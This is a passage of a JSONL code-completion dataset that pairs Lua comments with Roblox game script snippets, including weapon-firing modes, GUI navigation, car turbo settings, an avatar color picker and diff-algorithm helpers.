L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tfor L_243_forvar1 = 1, L_24_.ShotNum do\n\t\t\tspawn(function()\n\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\tend)\n\t\t\tlocal L_244_, L_245_ = spawn(function()\n\t\t\t\tCastRay(L_102_)\n\t\t\tend)\n\t\tend\n\t\t\t\t\t\t\n\t\tfor L_246_forvar1, L_247_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_247_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_247_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_248_forvar1, L_249_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_249_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_249_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = true\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_242_ = JamCalculation()\n\t\tif L_242_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBoltAction()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_250_, L_251_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\t\n\t\tfor L_253_forvar1, L_254_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_254_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_254_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_255_forvar1, L_256_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_256_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_256_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_252_ = JamCalculation()\n\t\tif L_252_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\t\t\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireAuto()\n\twhile not Shooting and L_103_ > 0 and L_68_ and L_69_ and L_15_ do\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tlocal L_257_, L_258_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\n\t\tfor L_260_forvar1, L_261_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_261_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_261_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_262_forvar1, L_263_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_263_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_263_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_259_ = JamCalculation()\n\t\tif L_259_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBurst()\n\tif not Shooting and L_103_ > 0 and L_68_ and L_15_ then\n\t\tfor L_264_forvar1 = 1, L_24_.BurstNum do\n\t\t\tif L_103_ > 0 and L_68_ then\n\t\t\t\tL_69_ = false\n\t\t\t\tRecoiling = true\n\t\t\t--CheckReverb()\n\t\t\t\tif L_54_ then\n\t\t\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\t\t\telse\n\t\t\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\t\t\tend\n\t\t\t\tL_109_:FireServer()\n\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\t\tlocal L_265_, L_266_ = spawn(function()\n\t\t\t\t\tCastRay(L_102_)\n\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\tfor L_268_forvar1, L_269_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\tif L_269_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\tL_269_forvar2.Enabled = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\n\t\t\t\tdelay(1 / 30, function()\n\t\t\t\t\tfor L_270_forvar1, L_271_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\t\tif L_271_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\t\tL_271_forvar2.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\n\t\t\t\tif L_24_.CanBolt == true then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\n\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\tUpdateAmmo()\n\t\t\t\tRecoilFront = true\n\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\tRecoiling = false\n\t\t\t\t\tRecoilFront = false\n\t\t\t\tend)\n\t\t\t\twait(L_24_.Firerate)\n\t\t\t\n\t\t\t\tlocal L_267_ = JamCalculation()\n\t\t\t\tif L_267_ then\n\t\t\t\t\tL_69_ = false\n\t\t\t\telse\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\tShooting = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction Shoot()\n\tif L_15_ and L_69_ then\n\t\tif L_92_ == 1 then\n\t\t\tfireSemi()\n\t\telseif L_92_ == 2 then\n\t\t\tfireAuto()\n\t\telseif L_92_ == 3 then\n\t\t\tfireBurst()\t\n\t\telseif L_92_ == 4 then\n\t\t\tfireBoltAction()\n\t\telseif L_92_ == 5 then\n\t\t\tfireShot()\n\t\telseif L_92_ == 6 then\n\t\t\tfireExplo()\n\t\tend\n\tend\nend\n"} +{"prompt": "-- check that we're not accidentally colliding with an existing name", "completion": "\nassert(ReplicatedStorage:FindFirstChild(\"ErrorReporting\", false) == nil,\n\t\"Error Reporter expected to create a folder named 'ErrorReporting', but something already had that name\")\nlocal errFolder = Instance.new(\"Folder\", ReplicatedStorage)\nerrFolder.Name = \"ErrorReporting\"\n\nlocal errEvent = Instance.new(\"RemoteEvent\", errFolder)\nerrEvent.Name = \"ClientErrorEvent\"\n\nerrEvent.OnServerEvent:Connect(function(_, message, stack, origin)\n\tonError(message, stack, origin)\nend)\n\n\n"} +{"prompt": "-- For all easing functions:\n-- t = elapsed time\n-- b = beginning value\n-- c = change in value same as: ending - beginning\n-- d = duration (total time)", "completion": "\n"} +{"prompt": "---------------------------------------Function end here.", "completion": "\nend\n\n\nTool.Enabled = true\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\t--Tool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal targetPos = humanoid.TargetPoint\n\tlocal lookAt = (targetPos - character.Head.Position).unit\n\nif (check()) then\n\tfire(lookAt)\nwait(0.01)\nTool.Smoke.Smoke.Enabled = true\nTool.BAR1.Transparency = 1\nTool.BAR2.Transparency = 1\nTool.BAR3.Transparency = 1\nTool.BAR4.Transparency = 1\nTool.BAR5.Transparency = 1\nTool.BAR6.Transparency = 1\nTool.BARR1.Transparency = 0\nTool.BARR2.Transparency = 0\nTool.BARR3.Transparency = 0\nTool.BARR4.Transparency = 0\nTool.BARR5.Transparency = 0\nTool.BARR6.Transparency = 0\nwait(0.01)\nTool.BAR1.Transparency = 0\nTool.BAR2.Transparency = 0\nTool.BAR3.Transparency = 0\nTool.BAR4.Transparency = 0\nTool.BAR5.Transparency = 0\nTool.BAR6.Transparency = 0\nTool.BARR1.Transparency = 1\nTool.BARR2.Transparency = 1\nTool.BARR3.Transparency = 1\nTool.BARR4.Transparency = 1\nTool.BARR5.Transparency = 1\nTool.BARR6.Transparency = 1\nTool.Smoke.Smoke.Enabled = false\n\tonActivated()\n\tend\n\treturn\n\n\t--Tool.Enabled = true\nend\n\n\n\n\nscript.Parent.Activated:connect(onActivated)\n"} +{"prompt": "--(\"no gui found - wierd...\")", "completion": "\nend\nend\nend\nend\nend\nend)\n\n"} +{"prompt": "--made by Bertox\n--lul", "completion": "\n\nscript.Parent.Parent.Parent.Parent.DriveSeat.Changed:connect(function()\n\tif script.Parent.Parent.Parent.Parent.DriveSeat.Occupant ~= nil then\n\t\tscript.Parent.G.Enabled = true\n\telseif script.Parent.Parent.Parent.Parent.DriveSeat.Occupant == nil then\n\t\tscript.Parent.G.Enabled = false\n\tend\nend)\n"} +{"prompt": "--//Sub 2\\\\--", "completion": "\n\n\n\nuis.InputBegan:connect (function(input)\n\tif Surface.Enabled == true then\n\t\tif PartyS.Visible == true then\n\t\t\tif input.KeyCode == Enum.KeyCode.A then\n\t\t\t\tif right == 1 then\n\t\t\t\t\t\tsub.Visible = false\n\t\t\t\t\t\tsub.Party2.Visible = false\n\t\t\t\t\t\tPartyS.Visible = true\n\t\t\t\t\t\tsub.Guild2.Visible = false\n\t\t\t\t\t\tsub.Friends2.Visible = false\n\t\t\t\t\t\tMenuS.Disabled = false\n\t\t\t\t\t\tsub.LocalScript.Disabled = true\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nuis.InputBegan:connect(function(input)\n\tif Surface.Enabled == true then\n\t\tif input.KeyCode == Enum.KeyCode.S then\n\t\t\tif down == 0 then\n\t\t\t\tsub.Party2.Visible = false\n\t\t\t\tsub.Friends2.Visible = true\n\t\t\t\tdown = 1\t\t\t\t\n\t\t\t\tprint(down)\n\t\t\tend\n\t\tend\n\tend\nend)\n\nuis.InputBegan:connect(function(input)\n\tif Surface.Enabled == true then\n\t\tif input.KeyCode == Enum.KeyCode.S then\n\t\t\tif down == 1 then\n\t\t\t\tsub.Friends2.Visible = false\n\t\t\t\tsub.Guild2.Visible = true\n\t\t\t\tdown = 2\t\t\t\t\n\t\t\t\tprint(down)\n\t\t\tend\n\t\tend\n\tend\nend)\n\nuis.InputBegan:connect(function(input)\n\tif Surface.Enabled == true then\n\t\tif input.KeyCode == Enum.KeyCode.W then\n\t\t\tif down == 2 then\n\t\t\t\tsub.Friends2.Visible = true\n\t\t\t\tsub.Guild2.Visible = false\n\t\t\t\tdown = 1\t\t\t\t\n\t\t\t\tprint(down)\n\t\t\tend\n\t\tend\n\tend\nend)\nuis.InputBegan:connect(function(input)\n\tif Surface.Enabled == true then\n\t\tif input.KeyCode == Enum.KeyCode.W then\n\t\t\tif down == 1 then\n\t\t\t\tsub.Friends2.Visible = false\n\t\t\t\tsub.Party2.Visible = true\n\t\t\t\tdown = 0\t\t\t\t\n\t\t\t\tprint(down)\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--> LOCAL VARIABLES", "completion": "\nlocal Event = script.Parent\nlocal NPC = false\nlocal Person = false\nlocal Enemy\n"} +{"prompt": "--", "completion": "\n\tscript.Parent.Handle2.Hinge1.Transparency = 1\n\tscript.Parent.Handle2.Interactive1.Transparency = 1\n\tscript.Parent.Handle2.Part1.Transparency = 1"} +{"prompt": "------------------------------------------------------------------", "completion": "\n\tdrop.Parent = cam\n\t--drop.CFrame = head.CFrame *CFrame.new(math.random(-25,25),math.random(50,75),math.random(-25,25))\n\tdrop.CFrame = cam.CoordinateFrame *CFrame.new(math.random(-25,25),math.random(40,55),math.random(-25,25))\n\tdrop.Anchored = false\n\t--print(drop.Position)\nend\n\n\t\t--wait(.2)\nend\n"} +{"prompt": "-- local test: any --[[ ROBLOX TODO: Unhandled node for type: TSIndexedAccessType ]] --[[ NewPlugin['test'] ]]", "completion": "\nlocal function test(val)\n\treturn typeof(val) == \"table\" and val[\"$$typeof\"] == testSymbol\nend\nexports.test = test\n\nlocal plugin: NewPlugin = { serialize = serialize, test = test }\n\nexports.default = plugin\n\nreturn exports\n"} +{"prompt": "--// bolekinds", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tif game.Players.LocalPlayer.YouCash.Value >= 110 and game.Workspace[\"Floppa NPC\"][\"Floppa cube\"].contract.Value == false then\n\t\tscript.Parent.Parent.Parent.Ching:Play()\n\telse\n\t\tscript.Parent.Parent.Parent.Thud:Play()\n\tend\nend)\n"} +{"prompt": "---if you want a supercharger it's simple just set the boost in to your psi - 5 \n--[[Turbo]]", "completion": " --TOUGEZILAMEMEBRO- 25 IS MAX\nTune.TurboPSI = 15 ---- 25 PSI is best max prefered boost//// how much pressure you're putting on your turbo\nTune.TurboPSIdle = 0.1 --- how much boost it does on Idle //// High idle Boost will increase launch but will make car roll more\nTune.BoostLag = 1.5 --- 1.5 Is as low as you can get --- Doing under 1.5 is illegal! because it will reverse into extra boost\nTune.BoostIn = 1 ---- How fast your turbo gets boost\nTune.TurboSize = 30 --- 10 is Smallest ---- 50 is as big as you can go in a street car\nTune.MisFire = true --- enable only if you have a backfire script -- Name a exhaust part inside body E1 and add fire inside to enable this\nTune.EngineSmoke = true --- just smokie stuff \nTune.BOVSound = true "} +{"prompt": "--[[\n\n\n\n]]", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal AvatarEditor = ReplicatedStorage.AvatarEditor\nlocal Maid = require(AvatarEditor.Shared.Util.Maid)\nlocal Signal = require(AvatarEditor.Shared.Util.Signal)\nlocal Theme = require(AvatarEditor.Client.Theme)\n\nlocal buttonTemplate = require(AvatarEditor.Gui.ColorTemplateToLua)()\n\nlocal Class = {}\nClass.__index = Class\n\n\nlocal function fromHex(hex)\n\tlocal r, g, b = string.match(hex, \"^#?(%w%w)(%w%w)(%w%w)$\")\n\treturn Color3.fromRGB(tonumber(r, 16), tonumber(g, 16), tonumber(b, 16))\nend\n\nlocal function toHex(color)\n\treturn string.format(\"#%02X%02X%02X\", color.R * 255, color.G * 255, color.B * 255)\nend\n\n\nlocal function isWearing(assets, color3)\n\treturn toHex(assets) == toHex(color3)\nend\n\n\nfunction Class.new(frame, colorData, wearingTone)\n\tlocal self = setmetatable({}, Class)\n\t\n\tself.Frame = frame\n\tself.Wearing = wearingTone\n\tself.Children = {}\n\tself.Maid = Maid.new()\n\tself.Listeners = Maid.new()\n\tself.ItemSelected = Signal.new()\n\t\n\tself.Maid:GiveTask(Theme.Changed:Connect(function()\n\t\tself:Render()\n\tend))\n\n\tself.Maid:GiveTask(Theme:Bind(frame, \"ScrollBarImageColor3\", \"Scrollbar\"))\n\t\n\tfor i, v in ipairs(colorData) do\n\t\tlocal button = buttonTemplate:Clone()\n\t\tbutton.BackgroundColor3 = v\n\t\tbutton.Wearing.Visible = isWearing(wearingTone, v)\n\t\tbutton.Parent = frame\n\t\tself.Children[i] = button\n\t\t\n\t\tself.Maid:GiveTask(Theme:Bind(button.Wearing, \"ImageColor3\", \"Wearing\"))\n\t\t\n\t\tself.Maid:GiveTask(button.Activated:Connect(function(inputObject)\n\t\t\tself.ItemSelected:Fire(i)\n\t\tend))\n\tend\n\t\n\treturn self\nend\n\n\nfunction Class:Render()\n\tlocal maid = self.Listeners\n\tlocal wearingTone = self.Wearing\n\t\n\tmaid:DoCleaning()\n\t\n\tfor i, v in ipairs(self.Children) do\n\t\tv.Wearing.Visible = isWearing(wearingTone, v.BackgroundColor3)\n\tend\nend\n\n\nfunction Class:UpdateWearing(wearingTone)\n\tself.Wearing = wearingTone\n\tself:Render()\nend\n\n\nfunction Class:Destroy()\n\tself.Maid:Destroy()\n\tself.Maid = nil\n\tself.Listeners:Destroy()\n\tself.Listeners = nil\n\tself.Frame = nil\n\tself.Wearing = nil\n\tfor i, v in ipairs(self.Children) do\n\t\tv:Destroy()\n\tend\n\ttable.clear(self.Children)\n\tself.ItemSelected:Destroy()\n\tself.ItemSelected = nil\nend\n\n\nreturn Class\n"} +{"prompt": "--Burning Noise--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.DieselSmoke:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--function ClassZombie:SetPadToOpen()\n--\tlocal PrimaryPart = self.Character.PrimaryPart\n--\tPrimaryPart.Touched:Connect(function(hit)\n--\t\tif hit.Name == \"TurnPads\" then\n--\t\t\thit.Open.Value = true\n--\t\tend\n--\tend)\n--end\n--ClassZombie:WalkToWaypoint()", "completion": "\n\n\n\nlocal mod = require(script.Parent.ModuleScript)\n\n"} +{"prompt": "---[[ Font Settings ]]", "completion": "\nmodule.DefaultFont = Enum.Font.GothamSemibold\nmodule.ChatBarFont = Enum.Font.GothamSemibold\n"} +{"prompt": "-- || Sochi was here || --", "completion": "\nlocal Kills100 = {}\nfunction Kills100.Kills100(input)\n\tlocal player = game.Players[input]\n\tlocal modelclone = script.Kills100:Clone()\n\tmodelclone.Parent = player.Character\nend\nreturn Kills100\n"} +{"prompt": "-- Given index intervals and input function to compare items at indexes,\n-- return by output function the number of adjacent items and starting indexes\n-- of each common subsequence. Divide and conquer with only linear space.\n--\n-- The index intervals are half open [start, end) like array slice method.\n-- DO NOT CALL if start === end, because interval cannot contain common items\n-- and because divide function will throw the \u201cno overlap\u201d error.", "completion": "\nlocal function findSubsequences(\n\tnChange: number,\n\taStart: number,\n\taEnd: number,\n\tbStart: number,\n\tbEnd: number,\n\ttransposed: boolean,\n\tcallbacks,\n\taIndexesF: Indexes, -- temporary memory, not input nor output\n\taIndexesR: Indexes, -- temporary memory, not input nor output\n\tdivision: Division -- temporary memory, not input nor output\n): ()\n\tif bEnd - bStart < aEnd - aStart then\n\t\t-- Transpose graph so it has portrait instead of landscape orientation.\n\t\t-- Always compare shorter to longer sequence for consistency and optimization.\n\t\ttransposed = not transposed\n\t\tif transposed and #callbacks == 1 then\n\t\t\t-- Lazily wrap callback functions to swap args if graph is transposed.\n\t\t\tlocal foundSubsequence, isCommon = unpack(callbacks[1])\n\t\t\tcallbacks[2] = {\n\t\t\t\tfunction(nCommon, bCommon, aCommon)\n\t\t\t\t\treturn foundSubsequence(nCommon, aCommon, bCommon)\n\t\t\t\tend,\n\t\t\t\tfunction(bIndex, aIndex)\n\t\t\t\t\treturn isCommon(aIndex, bIndex)\n\t\t\t\tend,\n\t\t\t}\n\t\tend\n\n\t\tlocal tStart = aStart\n\t\tlocal tEnd = aEnd\n\t\taStart = bStart\n\t\taEnd = bEnd\n\t\tbStart = tStart\n\t\tbEnd = tEnd\n\tend\n\tlocal foundSubsequence, isCommon = unpack(callbacks[transposed and 2 or 1])\n\n\t-- Divide the index intervals at the middle change.\n\tdivide(nChange, aStart, aEnd, bStart, bEnd, isCommon, aIndexesF, aIndexesR, division)\n\tlocal nChangePreceding = division.nChangePreceding\n\tlocal aEndPreceding = division.aEndPreceding\n\tlocal bEndPreceding = division.bEndPreceding\n\tlocal nCommonPreceding = division.nCommonPreceding\n\tlocal aCommonPreceding = division.aCommonPreceding\n\tlocal bCommonPreceding = division.bCommonPreceding\n\tlocal nCommonFollowing = division.nCommonFollowing\n\tlocal aCommonFollowing = division.aCommonFollowing\n\tlocal bCommonFollowing = division.bCommonFollowing\n\tlocal nChangeFollowing = division.nChangeFollowing\n\tlocal aStartFollowing = division.aStartFollowing\n\tlocal bStartFollowing = division.bStartFollowing\n\n\t-- Unless either index interval is empty, they might contain common items.\n\tif aStart < aEndPreceding and bStart < bEndPreceding then\n\t\t-- Recursely find and return common subsequences preceding the division.\n\t\tfindSubsequences(\n\t\t\tnChangePreceding,\n\t\t\taStart,\n\t\t\taEndPreceding,\n\t\t\tbStart,\n\t\t\tbEndPreceding,\n\t\t\ttransposed,\n\t\t\tcallbacks,\n\t\t\taIndexesF,\n\t\t\taIndexesR,\n\t\t\tdivision\n\t\t)\n\tend\n\n\t-- Return common subsequences that are adjacent to the middle change.\n\tif nCommonPreceding ~= 0 then\n\t\tfoundSubsequence(nCommonPreceding, aCommonPreceding, bCommonPreceding)\n\tend\n\tif nCommonFollowing ~= 0 then\n\t\tfoundSubsequence(nCommonFollowing, aCommonFollowing, bCommonFollowing)\n\tend\n\n\t-- Unless either index interval is empty, they might contain common items.\n\tif aStartFollowing < aEnd and bStartFollowing < bEnd then\n\t\t-- Recursely find and return common subsequences following the division.\n\t\tfindSubsequences(\n\t\t\tnChangeFollowing,\n\t\t\taStartFollowing,\n\t\t\taEnd,\n\t\t\tbStartFollowing,\n\t\t\tbEnd,\n\t\t\ttransposed,\n\t\t\tcallbacks,\n\t\t\taIndexesF,\n\t\t\taIndexesR,\n\t\t\tdivision\n\t\t)\n\tend\nend\n\nlocal function validateLength(name: string, arg: any): ()\n\tif typeof(arg) ~= \"number\" then\n\t\terror(string.format(\"%s: %s type %s is not a number\", pkg, name, type(arg)))\n\tend\n\tif not Number.isSafeInteger(arg) then\n\t\terror(string.format(\"%s: %s type %s is not a safe integer\", pkg, name, type(arg)))\n\tend\n\tif arg < 0 then\n\t\terror(string.format(\"%s: %s type %s is a negative integer\", pkg, name, type(arg)))\n\tend\nend\n\nlocal function validateCallback(name: string, arg: any): ()\n\tif typeof(arg) ~= \"function\" then\n\t\terror(string.format(\"%s: %s type %s is not a function\", pkg, name, type(arg)))\n\tend\nend\n"} +{"prompt": "--[[\nApplies the theme.\n--]]", "completion": "\nreturn function(MapModel)\n\t--Replace the colors.\n\tReplaceColors(MapModel,BrickColor.new(\"Dark green\"),BrickColor.new(\"Institutional white\"))\nend\n"} +{"prompt": "-- check for config values", "completion": "\nlocal config = script:FindFirstChild(name)\nif (config ~= nil) then"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nwhile true do\n\tlocal p = game.Players:GetChildren()\n\tfor i = 1,#p do\n\t\tif p[i].Character~=nil then\n\t\t\tif p[i].Character:findFirstChild(\"Torso\")~=nil then\n\t\t\t\tif (p[i].Character.Torso.Position - script.Parent.Torso.Position).magnitude < 5 then\n\t\t\t\t\tlocal anim = Instance.new(\"StringValue\")\n\t\t\t\t\tanim.Value = possibleAnims[math.random(1, #possibleAnims)]\n\t\t\t\t\tanim.Name = \"toolanim\"\n\t\t\t\t\tanim.Parent = script.Parent.LinkedSword\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\twait(0.5)\nend\n"} +{"prompt": "-- Changeable Settings\n------------------------ ", "completion": "\nlocal FlashlightKey = \"F\"\n\nlocal brightness = 0.7\n\nlocal range = 60\n\nlocal shadowson = true"} +{"prompt": "-- declarations", "completion": "\n\nlocal Figure = script.Parent\nlocal Head = waitForChild(Figure, \"Head\")\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\n\nFigure.PrimaryPart = Head\n"} +{"prompt": "--[[\nCredits To I0IZN For Scripting It\nAlso Dont Change The Name Of The Model Because It Will Then Ruin The Script\nDont Group It Aswell\n\nAlso if you want more then 1 model in your game you will have to switch Flickering to Flickering1\nand lights to Lights1, that 1 will keep going up for each model you have.\nAfter that you want to go to the script and change any lines includeing this script =\ngame.workspace.flickering.lights\nTo\ngame.workspace.flickering1.lights1\nThe 1 will go up depending how much models you have\nThis is how the script should look\n\n\n\ngame.Workspace.Flickering1.Lights1.Light.BrickColor = BrickColor.new \"Dark stone grey\"\ngame.Workspace.Flickering1.Lights1.Bulb.PointLight.Brightness = \"0\"\n\nwait(2)\n\ngame.Workspace.Flickering1.Lights1.Light.BrickColor = BrickColor.new \"Daisy orange\"\ngame.Workspace.Flickering1.Lights1.Bulb.PointLight.Brightness = \"3\"\n\n\n\nif you have 2 light flickering models then its going to be\n\n\n\ngame.Workspace.Flickering2.Lights2.Light.BrickColor = BrickColor.new \"Dark stone grey\"\ngame.Workspace.Flickering2.Lights2.Bulb.PointLight.Brightness = \"0\"\n\nwait(2)\n\ngame.Workspace.Flickering2.Lights2.Light.BrickColor = BrickColor.new \"Daisy orange\"\ngame.Workspace.Flickering2.Lights2.Bulb.PointLight.Brightness = \"3\"\n\nand the number keeps going up by how much models you have.\n--]]", "completion": "\n\n\n\nfor i = 1,50 do --Set The 50 To How Much You Want It To Flicker--\n\t\nwait(2) --this will adjust how much time will be between a flicker\n\t\ngame.Workspace.Flickering.Lights.Light.BrickColor = BrickColor.new \"Dark stone grey\"\ngame.Workspace.Flickering.Lights.Bulb.PointLight.Brightness = \"0\"\n\nwait(2)\n\ngame.Workspace.Flickering.Lights.Light.BrickColor = BrickColor.new \"Daisy orange\"\ngame.Workspace.Flickering.Lights.Bulb.PointLight.Brightness = \"3\"\n\t\nend\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\t\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\tlocal scr = client.UI.Prepare(script.Parent.Parent)\n\tlocal main = scr.Main\n\tlocal t1 = main.Title\n\tlocal t2 = main.Message\n\tlocal msg = data.Message\n\tlocal color = data.Color\n\t\n\tlocal found = client.UI.Get(\"Output\")\n\tif found then\n\t\tfor i,v in pairs(found) do\n\t\t\tlocal p = v.Object\n\t\t\tif p and p.Parent then\n\t\t\t\tp.Main.Position = UDim2.new(0, 0, 0.35, p.Main.Position.Y.Offset+50)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tt2.Text = msg\n\tt2.Font = \"Arial\"\n\t--t2.Position = UDim2.new(0, 0, 0.35, 0)\n\tgTable.Ready()\n\twait(5)\n\tgTable.Destroy()\nend\n"} +{"prompt": "--[=[\n\t@param value: any\n\t@return boolean\n\tReturns `true` if this option contains `value`.\n]=]", "completion": "\nfunction Option:Contains(value)\n\treturn 